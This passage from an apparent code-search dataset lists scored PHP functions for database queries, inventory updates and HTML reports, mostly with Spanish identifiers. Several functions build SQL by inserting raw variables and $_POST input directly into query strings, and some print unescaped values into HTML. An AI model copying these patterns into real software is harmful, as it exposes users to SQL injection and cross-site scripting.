$lastmonth);\n\t\t\n\t\t$ordenSQL = \"select referencia from articulos where fechapub > '$fechaLimite' and publico=true\";\n\t\t\n\t\t$numNovedades = $__BD->db_num_rows($ordenSQL);\n\t\tif ($numNovedades == 0)\n\t\t\treturn;\n\t\t\n\t\tsrand((double)microtime()*1000000);\n\t\t$randval = rand(0, $numNovedades - 1);\n\t\t\n\t\t$ordenSQL = \"select referencia, descripcion, pvp, codimpuesto, enoferta, pvpoferta, ivaincluido from articulos where fechapub > '$fechaLimite' and publico=true and obsoleto = false limit 1 offset $randval\";\n\t\t\n\t\t$result = $__BD->db_query($ordenSQL);\n\t\t$row = $__BD->db_fetch_array($result);\n\t\tif (!$row)\n\t\t\treturn '';\t\t\n\n\t\t$codigoMod .= '<div class=\"cajaImagen\">';\n\t\t$codigoMod .= $__LIB->cajaImagen($row);\n\t\t$codigoMod .= '</div>';\n\t\treturn $codigoMod;\n\t}", "title": "" }, { "docid": "c2d82406a9fca565013c060c178e1d49", "score": "0.50471944", "text": "public function buscar_id(){\r\n\t\t $c=0;\r\n $sql=\"select * from ttitular where id_titular = '$this->id' \";\r\n\t\t$cursor=parent::ejecuta_sql($sql);\t\t \r\n\t\tif($row= parent::proxima_tupla($cursor)){\t\t\t\t\t\r\n\t\t \t\t$fila[$c][3]=$row[\"cedula\"];\r\n\t\t\t\t$fila[$c][4]=$row[\"nombre1\"];\r\n\t\t\t\t$fila[$c][5]=$row[\"nombre2\"];\r\n\t\t\t\t$fila[$c][6]=$row[\"apellido1\"];\r\n\t\t\t\t$fila[$c][7]=$row[\"apellido2\"];\t\t\t\t\r\n\t\t\t\t$c++;\t\t\t\t\r\n\t\t }\r\n\t\tif ( $fila>0 )\r\n\t\t\treturn $fila;\r\n\t\telse\r\n\t\t\treturn -1;\r\n\t\t\t\r\n\t\t\tparent::cerrar_bd();\r\n }", "title": "" }, { "docid": "6e8c99b7e5b96d75abbcba8af7f25157", "score": "0.50400996", "text": "public function prxservicio($idpr, $lugar, $dia, $mes, $anio){\r\n $con = new ConexionBD;\r\n //usamos el metodo conectar para realizar la conexion\r\n if($con->conectar()==true){\r\n $sql = \"select\r\n count (case when id_area_atencion=1 and id_servicio_externo_estab is null then 'uno' else null end) as uno,\r\n count (case when id_area_atencion=3 and id_servicio_externo_estab is null then 'dos' else null end) as dos,\r\n count (case when id_area_atencion=2 and id_servicio_externo_estab is null then 'tres' else null end) as tres\r\n --count (case when id_servicio_externo_estab is not null then 'cinco' else null end) as otros\r\n from sec_detallesolicitudestudios t00\r\n join sec_solicitudestudios t01 on (t01.id=t00.idsolicitudestudio)\r\n join lab_resultado_metodologia t0c on (t00.id=t0c.id_detallesolicitudestudio)\r\n join sec_historial_clinico t02 on (t02.id=t01.id_historial_clinico)\r\n join mnt_aten_area_mod_estab t03 on (t03.id=t02.idsubservicio)\r\n join mnt_area_mod_estab\t t04 on (t04.id=t03.id_area_mod_estab)\r\n left join mnt_servicio_externo_establecimiento t06 on (t06.id=t04.id_servicio_externo_estab)\r\n where estadodetalle in (6,7)\r\n --and id_servicio_externo_estab is null\r\n and t00.idestablecimiento=$lugar\r\n and id_conf_examen_estab=$idpr\r\n and extract('year' from fecha_resultado)=$anio\r\n and extract('month' from fecha_resultado)=$mes\r\n and extract('day' from fecha_resultado)=$dia\";\r\n // echo '<br>'.$sql.'<br/>';\r\n\t$result= pg_query($sql);\r\n\tif (!$result)\r\n\t\treturn false;\r\n\telse\r\n\t\treturn $result;\r\n\t}//fin de la funcion consultarTipoResultado\r\n }", "title": "" }, { "docid": "30c29170194988449cd09b990c9c6293", "score": "0.5031819", "text": "public function agregar_interrupcion_controlador()\n {\n $fecha_fa = $_POST['fecha_final_exp_up'];\n $exp_id = mainModel2::limpiar_cadena($_POST['exp_id']);\n $dias_interrup = $_POST['diasInterrup'];\n $observacion = strtoupper(mainModel2::limpiar_cadena($_POST['observacion']));\n /*comprobar campos vacios*/\n if ($dias_interrup == \"\") {\n $alerta = [\n \"Alerta\" => \"simple\",\n \"Titulo\" => \"OCURRIÓ UN ERROR INESPERADO\",\n \"Texto\" => \"CAMPO VACÍO, POR FAVOR INGRESE LOS DÍAS DE INTERRUPCIÓN\",\n \"Tipo\" => \"error\"\n ];\n echo json_encode($alerta);\n exit();\n }\n //guardar los fecha de feriados o vacaciones en el array feriados\n $feriados = [];\n $consulta = \"SELECT * FROM tbl_feriados ORDER BY fecha ASC\";\n $conexion = mainModel2::conectar();\n $datos = $conexion->query($consulta);\n $datos = $datos->fetchAll();\n foreach ($datos as $rows) {\n array_push($feriados, $rows['fecha']);\n }\n\n // INSERTAMOS LOS DATOS EN SUS RESPECTIVAS TABLAS\n $fecha_final_exp = mainModel2::addWorkingDays($fecha_fa, $dias_interrup, $feriados);\n $datos_proc_up = [\n \"exp_id\" => $exp_id,\n \"dias_interrupcion\" => $dias_interrup,\n \"observacion\" => $observacion,\n \"fecha_final_exp\" => $fecha_final_exp\n ];\n\n $agregar_proc = expedienteModelo::agregar_interrupcion_modelo($datos_proc_up);\n\n if ($agregar_proc) {\n $alerta = [\n \"Alerta\" => \"recargar\",\n \"Titulo\" => \"HECHO\",\n \"Texto\" => \"SE HA AGREGADO LA INTERRUPCIÓN CON ÉXITO\",\n \"Tipo\" => \"success\"\n ];\n } else {\n $alerta = [\n \"Alerta\" => \"simple\",\n \"Titulo\" => \"OCURRIÓ UN ERROR INESPERADO\",\n \"Texto\" => \"NO SE HA AGREGADO LA INTERRUPCIÓN \",\n \"Tipo\" => \"error\"\n ];\n }\n echo json_encode($alerta);\n /**************************** */\n }", "title": "" }, { "docid": "6a41488437130a38afa8c71c61f68e99", "score": "0.50299066", "text": "function projeto() {\r\n extract($GLOBALS);\r\n $SQL = \"SELECT b.ds_diretorio, b.ln_prop_pedagogica \" . $crlf .\r\n \" from sbpi.Cliente a \" . $crlf .\r\n \" INNER join sbpi.CLIENTE_SITE b on (a.sq_cliente = b.sq_cliente) \" . $crlf .\r\n \" INNER join sbpi.Modelo c on (b.sq_modelo = c.sq_modelo) \" . $crlf .\r\n \" INNER join sbpi.Cliente_Dados d on (a.sq_cliente = d.sq_cliente) \" . $crlf .\r\n \" WHERE a.sq_cliente = \" . $CL . \" \" . $crlf;\r\n $RS = db_exec :: getInstanceOf($dbms, $SQL, & $numRows);\r\n\r\n ShowHTML('<tr><td>');\r\n\r\n foreach ($RS as $row) {\r\n if (nvl(f($row, 'ln_prop_pedagogica'), '') != '') {\r\n ShowHTML(' <font size=1><b>');\r\n if (strpos(strtolower(f($row, 'ln_prop_pedagogica')), '.pdf') !== false) {\r\n ShowHTML(' A exibição do arquivo exige que o Acrobat Reader tenha sido instalado em seu computador.');\r\n ShowHTML(' <br>Se o arquivo não for exibido no quadro abaixo, clique <a href=\"http://www.adobe.com.br/products/acrobat/readstep2.html\" target=\"_blank\">aqui</a> para instalar ou atualizar o Acrobat Reader.');\r\n } else {\r\n ShowHTML(' A exibição do arquivo exige o editor de textos Word ou equivalente.');\r\n ShowHTML(' <br>Se o arquivo não for exibido no quadro abaixo, verifique se o Word foi corretamente instalado em seu computador.');\r\n }\r\n ShowHTML('<table align=\"center\" width=\"100%\" cellspacing=0 style=\"border: 1px solid rgb(0,0,0);\"><tr><td>');\r\n ShowHTML(' <iframe src=\"' . f($row, 'ds_diretorio') . '/' . f($row, 'ln_prop_pedagogica') . '\" width=\"100%\" height=\"510\">');\r\n ShowHTML(' </iframe>');\r\n ShowHTML('</table>');\r\n } else {\r\n ShowHTML(' <font size=1><b>Projeto não informado.');\r\n }\r\n }\r\n }", "title": "" }, { "docid": "ddc188907b587d3d0ddd38aeb6e57ccb", "score": "0.50286955", "text": "static public function mdlVerificarExisteCotizacion($tabla,$codigo){\n\t\t$db = new Conexion();\n\t\t$sql = $db->consulta(\"SELECT COUNT(cod_cotizacion) as contadorCod FROM $tabla WHERE cod_cotizacion = '\".$codigo.\"'\");\n\t\t$datos = $db->recorrer($sql);\n\t\t$db->liberar($sql);\n $db->cerrar();\n\t\treturn $datos;\t\t\n\t}", "title": "" }, { "docid": "591e5b74142813ea075fb8707cc1947c", "score": "0.50207096", "text": "public static function inscripciones()\n\t{\n\t\tif(isset($_GET[\"apellido\"]) && !empty($_GET[\"apellido\"])){\n\t\t\t$apellido = $_GET[\"apellido\"];\n\t\t}\n\t\tif(isset($_GET[\"materia\"]) && !empty($_GET[\"materia\"])){\n\t\t\t$materia = $_GET[\"materia\"];\n\t\t}\n\t\t\n\t\t$arrayInscripciones = [];\n\t\t$tabla =\"\";\n\t\ttry{\n\t\t\tif(file_exists(\"Archivos/inscripciones.json\")){\n\t\t\t\t$arrayInscripciones = Archivo::__Leer(\"Archivos/inscripciones.json\");\n\t\t\t}\n\t\t\tif(empty($arrayInscripciones)){\n\t\t\t\treturn \"No hay inscripciones aún.\";\n\t\t\t}\n\t\t}catch(Exception $e){\n\t\t\tthrow $e->getMessage() . \"\\n\";\n\t\t}\n\t\t\n\t\t//Abro la tabla\n\t\t$tabla .=\"<table style='width:100%;text-align:center'><tr>\";\n\t\t\n\t\t//Tomo cualquier array, todos tienen misma clave=>valor\n\t\t$cabecerasTablas = array_keys($arrayInscripciones[0]); \n\t\t\n\t\t//Genero la cabecera\n\t\tforeach ($cabecerasTablas as $itemTitulo) {\n\t\t\t$tabla.=\"<th>\" . $itemTitulo . \"</th>\";\n\t\t}\n\n\t\t$tabla .=\"</tr>\";\n\t\t\n\t\t//Cuerpo de la tabla\n\t\t\n\t\tif(!empty($materia))\n\t\t{\n\t\t\tforeach(array_values($arrayInscripciones) as $item){\n\t\t\t\tif(strtolower($item[\"materia\"]) == strtolower($materia)){\n\t\t\t\t\t$tabla.=\"<tr>\n\t\t\t\t\t\t \t <td>\" . $item[\"nombre\"] . \"</td>\";\n\t\t\t\t\t$tabla.=\"<td>\" . $item[\"apellido\"] . \"</td>\";\n\t\t\t\t\t$tabla.=\"<td>\" . $item[\"email\"] . \"</td>\";\n\t\t\t\t\t$tabla.=\"<td>\" . $item[\"materia\"] . \"</td>\";\n\t\t\t\t\t$tabla.=\"<td>\" . $item[\"codigoMateria\"] . \"</td>\n\t\t\t\t\t\t\t </tr>\";\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t$tabla .=\"</table>\";\n\t\t}\n\t\telse if(!empty($apellido))\n\t\t{\n\t\t\tforeach(array_values($arrayInscripciones) as $item){\n\t\t\t\tif(strtolower($item[\"apellido\"]) == strtolower($apellido)){\n\t\t\t\t\t$tabla.=\"<tr>\n\t\t\t\t\t\t \t <td>\" . $item[\"nombre\"] . \"</td>\";\n\t\t\t\t\t$tabla.=\"<td>\" . $item[\"apellido\"] . \"</td>\";\n\t\t\t\t\t$tabla.=\"<td>\" . $item[\"email\"] . \"</td>\";\n\t\t\t\t\t$tabla.=\"<td>\" . $item[\"materia\"] . \"</td>\";\n\t\t\t\t\t$tabla.=\"<td>\" . $item[\"codigoMateria\"] . \"</td>\n\t\t\t\t\t\t\t </tr>\";\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t\t$tabla .=\"</table>\";\n\t\t}else{\n\t\t\t\n\t\t\tforeach ($arrayInscripciones as $clave => $valor) {\n\t\t\t\t$tabla.=\"<tr>\n\t\t\t\t\t\t <td>\" . $valor[\"nombre\"] . \"</td>\";\n\t\t\t\t$tabla.=\"<td>\" . $valor[\"apellido\"] . \"</td>\";\n\t\t\t\t$tabla.=\"<td>\" . $valor[\"email\"] . \"</td>\";\n\t\t\t\t$tabla.=\"<td>\" . $valor[\"materia\"] . \"</td>\";\n\t\t\t\t$tabla.=\"<td>\" . $valor[\"codigoMateria\"] . \"</td>\n\t\t\t\t\t\t</tr>\";\n\t\t\t}\n\t\t\t$tabla .=\"</table>\";\n\t\t}\n\t\t\n\t\treturn $tabla;\n\t\t\n\t}", "title": "" }, { "docid": "e8a1711ac222d9f6e921eb1d9a65338c", "score": "0.50206995", "text": "function contenidos()\n\t{\n\t\tglobal $__BD, $__LIB;\n\t\n\t\t$codigoMod = '';\n\t\t\n\t\t$lastmonth = mktime(0,0,0,date(\"m\"),date(\"d\")-42, date(\"Y\"));\n\t\t$fechaLimite = date(\"Y-m-d\", $lastmonth);\n\t\t\n\t\t$ordenSQL = \"select referencia from articulos where fechapub > '$fechaLimite' and publico=true\";\n\t\t\n\t\t$numNovedades = $__BD->db_num_rows($ordenSQL);\n\t\tif ($numNovedades == 0)\n\t\t\treturn;\n\t\t\n\t\tsrand((double)microtime()*1000000);\n\t\t$randval = rand(0, $numNovedades - 1);\n\t\t\n\t\t$ordenSQL = \"select referencia, descripcion, pvp, codimpuesto, enoferta, pvpoferta, ivaincluido from articulos where fechapub > '$fechaLimite' and publico=true limit 1 offset $randval\";\n\t\t\n\t\t$result = $__BD->db_query($ordenSQL);\n\t\t$row = $__BD->db_fetch_array($result);\n\t\t\n\t\t$codigoMod .= '<div class=\"cajaImagen\">';\n\t\t$codigoMod .= $__LIB->cajaImagen($row);\n\t\t$codigoMod .= '</div>';\n\t\treturn $codigoMod;\n\t}", "title": "" }, { "docid": "2d4d417ccb07ef922b8e7ea8846105e3", "score": "0.5016858", "text": "function reporteOtrosIngresos(){\n\t\t//Definicion de variables para ejecucion del procedimiento\n\t\t$this->procedimiento='plani.ft_reporte_sel';\n\t\t$this->transaccion='PLA_R_OTROS_ING_SEL';\n\t\t$this->tipo_procedimiento='SEL';\n\n\t\t$this->setParametro('id_proceso_wf','id_proceso_wf','integer');\n\t\t//Define los parametros para la funcion\n\t\t$this->setCount(false);\n\t\t//Definicion de la lista del resultado del query\n\t\t$this->captura('nombre_empleado','varchar');\n\t\t$this->captura('ci','varchar');\n\t\t$this->captura('monto','numeric');\n\t\t$this->captura('gerencia','varchar');\n\t\t$this->captura('categoria_prog','varchar');\n\t\t$this->captura('refrigerio','numeric');//monto2\n\t\t$this->captura('viatico','numeric');//monto3\n\t\t$this->captura('refri_sep','numeric');//monto3\n\t\t$this->captura('fecha_ini','date');//monto3\n\t\t$this->captura('fecha_fin','date');//monto3\n\n\t\t/*$this->captura('monto4','numeric');\n\t\t$this->captura('monto5','numeric');\n\t\t$this->captura('monto6','numeric');\n\t\t$this->captura('monto7','numeric');\n\n\t\t$this->captura('periodo','integer');\n\t\t$this->captura('sueldo_abril','numeric');\n\t\t$this->captura('refrigerio_abril','numeric');\n\t\t$this->captura('viatico_abril','numeric');\n\t\t$this->captura('sueldo_mayo','numeric');\n\t\t$this->captura('refrigerio_mayo','numeric');\n\t\t$this->captura('viatico_mayo','numeric');\n\t\t$this->captura('refrigerio_junio','numeric');\n\t\t$this->captura('viatico_junio','numeric');*/\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t//echo($this->consulta);exit;\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "title": "" }, { "docid": "2e4ec7e2af6824afc3be5dfe821aa7a5", "score": "0.50126266", "text": "function oferta() {\r\n extract($GLOBALS);\r\n\r\n $SQL2 = \"SELECT f.ds_especialidade \" . $crlf .\r\n \" from sbpi.Especialidade_cliente e \" . $crlf .\r\n \" INNER join sbpi.Especialidade f ON (e.sq_especialidade = f.sq_especialidade and \" . $crlf .\r\n \" 'J' = f.tp_especialidade \" . $crlf .\r\n \" ) \" . $crlf .\r\n \" WHERE e.sq_cliente = \" . $CL . \" \" . $crlf .\r\n \"ORDER BY ds_especialidade \";\r\n\r\n $RS1 = db_exec :: getInstanceOf($dbms, $SQL2, & $numRows);\r\n\r\n //Recupera a oferta a partir das turmas da escola\r\n $SQL = \"select distinct a.sq_cliente, b.nome ds_serie, b.curso ds_modalidade, case rtrim(ltrim(a.ds_turno)) when 'M' then 1 when 'V' then 2 else 3 end ds_turno \" . $crlf .\r\n \" from sbpi.Turma a inner join sbpi.Turma_Modalidade b on (upper(rtrim(ltrim(a.ds_serie)))=upper(rtrim(ltrim(b.serie))))\" . $crlf .\r\n \" where sq_cliente = \" . $CL . \" \" . $crlf .\r\n \"order by 3,2 \";\r\n $RS = db_exec :: getInstanceOf($dbms, $SQL, & $numRows);\r\n\r\n if (count($RS) > 0 or count($RS1) > 0) {\r\n ShowHTML('<p><b>Etapas / Modalidades de ensino oferecidas:</b>');\r\n ShowHTML('<dl>');\r\n }\r\n if (count($RS1) > 0) {\r\n foreach ($RS1 as $row) {\r\n ShowHTML(' <dt>' . f($row, 'ds_especialidade') . '</dt> ');\r\n }\r\n }\r\n\r\n if (count($RS) > 0) {\r\n $i = 1;\r\n foreach ($RS as $row) {\r\n $oferta[$i] = f($row, \"ds_modalidade\") . \"}\" . f($row, \"ds_serie\") . \"|\" . exibeTurno(f($row, \"ds_turno\"));\r\n $i++;\r\n }\r\n sort($oferta);\r\n }\r\n\r\n $w_mod_atual = \"\";\r\n $w_ser_atual = \"\";\r\n $w_tur_atual = \"\";\r\n\r\n if (count($RS) > 0) {\r\n foreach ($oferta as $i) {\r\n if ($i > \"\") {\r\n $w_modalidade = substr($i, 0, strpos($i, \"}\"));\r\n $w_serie = substr($i, strpos($i, \"}\") + 1, (strpos($i, \"|\") - strpos($i, \"}\") - 1));\r\n $w_turno = substr($i, strpos($i, \"|\") + 1, 10);\r\n if ($w_modalidade <> $w_mod_atual) {\r\n ShowHTML('<dt><li>' . $w_modalidade); //exibeModal(w_modalidade));\r\n $w_mod_atual = $w_modalidade;\r\n $w_ser_atual = '';\r\n $w_tur_atual = '';\r\n }\r\n if ($w_serie <> $w_ser_atual) {\r\n if ($w_serie == \"0\") {\r\n ShowHTML('<dd>');\r\n } else {\r\n ShowHTML('<dd>' . $w_serie . ': '); //exibeSerie(w_modalidade,w_serie))\r\n }\r\n $w_ser_atual = $w_serie;\r\n $w_tur_atual = \"\";\r\n $w_cont = 0;\r\n }\r\n if ($w_turno <> $w_tur_atual) {\r\n if ($w_cont > 0) {\r\n print ', ' . $w_turno; //exibeTurno(w_turno)\r\n } else {\r\n print ' ' . $w_turno; //exibeTurno(w_turno)\r\n }\r\n $w_cont++;\r\n }\r\n }\r\n ShowHTML('</dl>');\r\n }\r\n }\r\n $SQL2 = \"SELECT f.ds_especialidade \" . $crlf .\r\n \" from sbpi.Especialidade_cliente e \" . $crlf .\r\n \" INNER join sbpi.Especialidade f ON (e.sq_especialidade = f.sq_especialidade and \" . $crlf .\r\n \" f.tp_especialidade not in ('M','J') \" . $crlf .\r\n \" ) \" . $crlf .\r\n \" WHERE e.sq_cliente = \" . $CL . \" \" . $crlf .\r\n \"ORDER BY ds_especialidade \";\r\n $RS1 = db_exec :: getInstanceOf($dbms, $SQL2, & $numRows);\r\n\r\n if (count($RS1) > 0) {\r\n ShowHTML('<p><b>Em Regime de Intercomplementaridade: </b></p><ul>');\r\n ShowHTML(' <ul>');\r\n foreach ($RS1 as $row) {\r\n ShowHTML(\"<li>\" . f($row, 'ds_especialidade') . \"</li>\");\r\n }\r\n ShowHTML(' </ul>');\r\n }\r\n }", "title": "" }, { "docid": "2aaff665e19f2be46c97ceeb49034f0e", "score": "0.5009086", "text": "function asiento_his($asiento, $edborr, $por, $deci, $bojust) {\r\n\r\n// if ($bojust == $asiento) {mysql_query(\"UPDATE asientos SET fich = '', tipofich='' WHERE asiento = '$asiento'\");}\r\n\r\n$result = mysql_query(\"SELECT * FROM histf830 WHERE enc_clave = $asiento\");\r\nif ($result) {$fichero = mysql_fetch_array($result);}\r\n\r\n$cols = 4;\r\n\r\nif ($edborr) {$cols = $cols+2;}\r\n\r\n$asi = $fichero; // mysql_fetch_array($result);\r\n$a=explode(\"-\",$asi[\"enc_fecha\"]);\r\necho \"<tr><td colspan='$cols'>Asiento: \".$asiento.\"</a> Fecha: \";\r\necho $a[2].\"/\".$a[1].\"/\".$a[0]; // substr($a[0],2,2);\r\necho \"</b>\";\r\n\r\necho \"</td></tr>\";\r\n\r\n$comando=\"SELECT nro_registro, com_cuenta, com_descri, com_monto1, com_monto2, com_refere FROM histf820 WHERE com_nrocom = '$asiento' ORDER BY com_debcre, com_cuenta, com_refere\";\r\n$result = mysql_query($comando);\r\n// echo $comando;\r\n\r\nwhile ($fila = mysql_fetch_array($result)) {\r\n\r\n\techo \"<tr>\";\r\n\tif ($edborr) {\r\n\t}\r\n\techo \"<td width='100'>\".$fila[\"com_cuenta\"].\"</a></td>\";\r\n\t\r\n\t$sqlcuenta=\"SELECT cue_nombre FROM histf810 where cue_codigo = '\".$fila[\"com_cuenta\"].\"'\"; // revisar\r\n\t$rs=mysql_query($sqlcuenta) or die (\"<p />Estimado usuario $usuario contacte al administrador Código 810-1\");\r\n\t$filacuenta = mysql_fetch_array($rs);\r\n\techo \"<td width='200'>\".$filacuenta[\"cue_nombre\"].\"</td>\";\r\n\techo \"<td width='200'>\".$fila[\"com_descri\"].\"</td>\";\r\n\techo \"<td width='50'>\".$fila[\"com_refere\"].\"</td><td width='100' class='dcha'>\";\r\n\t\r\n\tif ($fila[\"com_monto1\"] == 0)\r\n\t{\r\n\t\techo \"&nbsp;\";\r\n\t} else {\r\n\t\techo number_format($fila[\"com_monto1\"],2,'.',',');\r\n\t}\r\n\r\n\techo \"</td><td class='dcha'>\";\r\n\t\r\n\t\r\n\tif ($fila[\"com_monto2\"] == 0)\r\n\t{\r\n\t\techo \"&nbsp;\";\r\n\t} else {\r\n\t\techo number_format($fila[\"com_monto2\"],2,'.',',');\r\n\t}\r\n\techo \"</td></tr>\";\r\n\r\n}\r\n\r\n$elmonto=$asi['enc_debe']-$asi['enc_haber'];\r\nif ($asi['enc_debe']-$asi['enc_haber'] != 0) {\r\n\techo \"<tr><td align='right' class='btn btn-danger' colspan=\".($cols-2);\r\n\techo \"<span class='btn btn-danger' align='right'> Diferencia de \".number_format(($asi['enc_debe']-$asi['enc_haber']),2,',','.').\"</span>\";\r\n}\r\nelse \r\n\techo \"<tr><td align='right' colspan=\".($cols-2).\">\";\r\necho \" SubTotales: </td><td align='right' class='info'>\".number_format($asi['enc_debe'],2,',','.').\"</td><td align='right'>\".number_format($asi['enc_haber'],2,',','.').\"</td>\";\r\n\r\necho \"</tr><tr><td colspan='$cols' class='success'>&nbsp;</td></tr>\r\n<p>\";\r\n \r\n }", "title": "" }, { "docid": "967f9dc2eb33640b368fe8400b2fd9b9", "score": "0.50070214", "text": "public function seleccionarTipoInstEducativa() {\n parent::ConnectionOpen(\"pnsAdmision\", \"dbweb\");\n parent::SetParameterSP(\"$1\", '24');\n parent::SetParameterSP(\"$2\", '');\n parent::SetParameterSP(\"$3\", '');\n $resultado = parent::executeSPArrayX();\n return $resultado;\n }", "title": "" }, { "docid": "e8fa67251aa84e8c56286ae674372728", "score": "0.50051916", "text": "function Nb_activite_lieu_intervention($tab_services, $date_debut, $date_fin, $SQL) {\n global $pdo;\n $query = \"SELECT COUNT(activite_id) as nb_activite, activite_enfant_multiple_num, activite_therapeute, activite_lieu, liste_lieu_activite_id\n\t\t\t\t\tFROM activite\n\t\t\t\t\tLEFT JOIN liste_lieu_activite ON activite_lieu = liste_lieu_activite_id\n\t\t\t\t\tLEFT JOIN discipline ON discipline_id = activite_discipline_id\n\t\t\t\t\tWHERE activite_service_id IN (\" . implode(\",\", $tab_services) . \") \n\t\t\t\t\tAND activite_date_debut >= '\" . $date_debut . \"'\n\t\t\t\t\tAND activite_date_fin <= '\" . $date_fin . \"'\n\t\t\t\t\tAND activite_enfant_id <> '0'\n\t\t\t\t\tAND activite_absence = ''\n\t\t\t\t\tAND discipline_regroupement <> '50'\n\t\t\t\t\t\" . $SQL . \"\n\t\t\t\t\tGROUP BY activite_enfant_multiple_num, activite_lieu\n\t\t\t\t\tORDER BY activite_enfant_multiple_num\n\t\t\t\t\t\";\n //echo $query;\n $requete = $pdo->query($query);\n $resultats = $requete->fetchall(PDO::FETCH_ASSOC);\n //debug($resultats);\n\n $tab_groupe = Tableau_groupes($tab_services, $date_debut, $date_fin, $SQL);\n\n foreach ($resultats as $key => $activite) {\n //si le num de récurrence est 0, indiquer le nb retourné\n if ($activite['activite_enfant_multiple_num'] == '0') {\n $data[$activite['activite_lieu']] = $activite['nb_activite'];\n } else {\n $data[$activite['activite_lieu']] ++;\n }\n }\n return $data;\n}", "title": "" }, { "docid": "c04fb08a414f403cd275dcdc1e368439", "score": "0.49922216", "text": "function validaAltaReferenciaInterno() \n\t{\n\t\t//echo \"<error>entro server</error>\t\"; \t\n \t$wlvalor=$this->argumentos[\"wl_valor\"];\n \t$wlanio=$this->argumentos[\"wl_anio\"];\n\t\t$sql = \t\"\tselect count (*) from contra.gestion_interno where folio::numeric='\".$wlvalor.\"'::numeric and anio=\".$wlanio.\";\";\n\t\t$sql_result = pg_exec($this->connection,$sql);\n\t\tif (strlen(pg_last_error($this->connection))>0) { echo \"<error>\".pg_last_error($this->connection).\"</error>\"; }\n\t\t$row = pg_fetch_array($sql_result, 0);\n\t\t$reg=$row['count'];\n\t\techo \"<enviavalor>$reg</enviavalor>\";\n\t\techo \"<__eventocontinua>true</__eventocontinua>\";\n\t}", "title": "" }, { "docid": "1b264959af2331c07c017fdc2d582162", "score": "0.49918735", "text": "function ActualizarInventario($IdMedicina, $IdMedicinaRecetada, $Cantidad, $IdArea, $Fecha, $IdEstablecimiento, $IdModalidad) {\n $queryLote = \"select fl.IdLote,Existencia,FechaVencimiento\n\t\t\tfrom farm_lotes fl\n\t\t\tinner join farm_entregamedicamento fme\n\t\t\ton fme.IdLote=fl.IdLote\n\t\t\twhere fme.IdMedicina=$IdMedicina\n\t\t\tand Existencia <> 0\n\t\t\tand left('$Fecha',7) <= left(FechaVencimiento,7)\n\t\t\tand fme.IdEstablecimiento=$IdEstablecimiento\n and fme.IdModalidad=$IdModalidad\n\t\t\torder by FechaVencimiento asc\";\n $lotes = pg_query($queryLote);\n //Se recorren los siguiente lotes... Modo iterativo\n while ($lotesA = pg_fetch_array($lotes)) {\n if ($Cantidad <= $lotesA[\"Existencia\"]) {\n //****** Si la cantidad de medicamento no exede el total del primer lote a descagar...\n $IdLote = $lotesA[\"IdLote\"];\n $existencia_old = $lotesA[\"Existencia\"];\n $existencia_new = $existencia_old - $Cantidad;\n\n //se actualiza la existencia del lote en uso\n $actualiza = \"update farm_entregamedicamento set Existencia='$existencia_new' \n where IdLote='$IdLote' \n and IdMedicina='$IdMedicina'\n and IdEstablecimiento=$IdEstablecimiento\n and IdModalidad=$IdModalidad\";\n pg_query($actualiza);\n\n //se ingresa el lote utilizado\n $query = \"insert into farm_medicinadespachada (IdMedicinaRecetada,IdLote,CantidadDespachada,IdEstablecimiento,IdModalidad) \n values('$IdMedicinaRecetada','$IdLote','$Cantidad',$IdEstablecimiento,$IdModalidad)\";\n pg_query($query);\n\n //Se termina el lazo porque el lote en cuestion suple la demanda restante\n break;\n } else {\n\n //Primer lote a agotar...\n $IdLote = $lotesA[\"IdLote\"];\n $existencia_old = $lotesA[\"Existencia\"];\n //Medicina que aun falta por despachar\n $restante2 = $Cantidad - $existencia_old;\n //Se cierra el lote con existencia = 0\n $actualiza = \"update farm_entregamedicamento set Existencia='0' \n where IdLote='$IdLote' \n and IdMedicina='$IdMedicina'\n and IdEstablecimiento=$IdEstablecimiento\n and IdModalidad=$IdModalidad\";\n pg_query($actualiza);\n\n //se ingresa el lote utilizado\n $query = \"insert into farm_medicinadespachada (IdMedicinaRecetada,IdLote,CantidadDespachada,IdEstablecimiento,IdModalidad) \n values('$IdMedicinaRecetada','$IdLote','$existencia_old',$IdEstablecimiento,$IdModalidad)\";\n pg_query($query);\n\n $Cantidad = $restante2;\n }//else de la comparacion de restante vs existencia\n }// Recorrido de los demas lotes con existencia while \n \n }", "title": "" }, { "docid": "785fd6855c57d43d3d8a855a81f43dc0", "score": "0.49880323", "text": "function countCvtEmis($type) {\r\n\tinclude('connexionPG.php');\r\n\t$result=array();\r\n\t$emet=array();\r\n\t//cree un tableau avec tous les noms\r\n\t$lst=$bdd->prepare(\"SELECT nom FROM emetteur WHERE type=?\");\r\n\t$lst->execute(array($type));\r\n\twhile ($x = $lst->fetch())\r\n\t{\r\n\t\tarray_push($emet, $x[0]);\r\n\t}\r\n\t//cree un tableau avec tous les noms ayant émis au moins 1 constat\r\n\t$lst=$bdd->prepare(\"SELECT cvt.emetteur, COUNT(cvt.emetteur) FROM cvt INNER JOIN emetteur ON (emetteur.type=?) AND (emetteur.nom=cvt.emetteur) AND (cvt.datecvt BETWEEN ? AND ?)GROUP BY cvt.emetteur ORDER BY cvt.emetteur\");\r\n\t$lst->execute(array($type, $_SESSION[\"debutAnnee\"], $_SESSION[\"fin\"]));\r\n\twhile ($x = $lst->fetch())\r\n\t{\r\n\t\tarray_push($result, array(\"x\"=>$x[0], \"y\"=>$x[1]));\r\n\t}\r\n\t//complete avec 0 les autres noms\r\n\t$emetZero=array_diff($emet, array_column($result, 'x'));\r\n\tforeach ($emetZero as $e) {\r\n\t\tarray_push($result, array(\"x\"=>$e, \"y\"=>0));\t\t\r\n\t}\r\n\treturn $result;\r\n}", "title": "" }, { "docid": "36afe6cda844e0004095cd938dde17af", "score": "0.49868193", "text": "function consultarPlanoAnalise()\n{\n\n global $conexao, $planoUsuarioAnalise;\n\n // peaquisando os planos em analise\n $planoUsuarioAnalise = $conexao->query(\"SELECT u.nomeUsuario, u.emailUsuario, pu.situacao, pu.planoUsuarioID FROM planoUsuario AS pu INNER JOIN usuario AS u ON pu.situacao = 'Em Analise' AND u.usuarioID = pu.usuarioID\") or die($conexao->error);\n}", "title": "" }, { "docid": "f3e17d64706b1705b37e7677681ab4a4", "score": "0.4985917", "text": "function 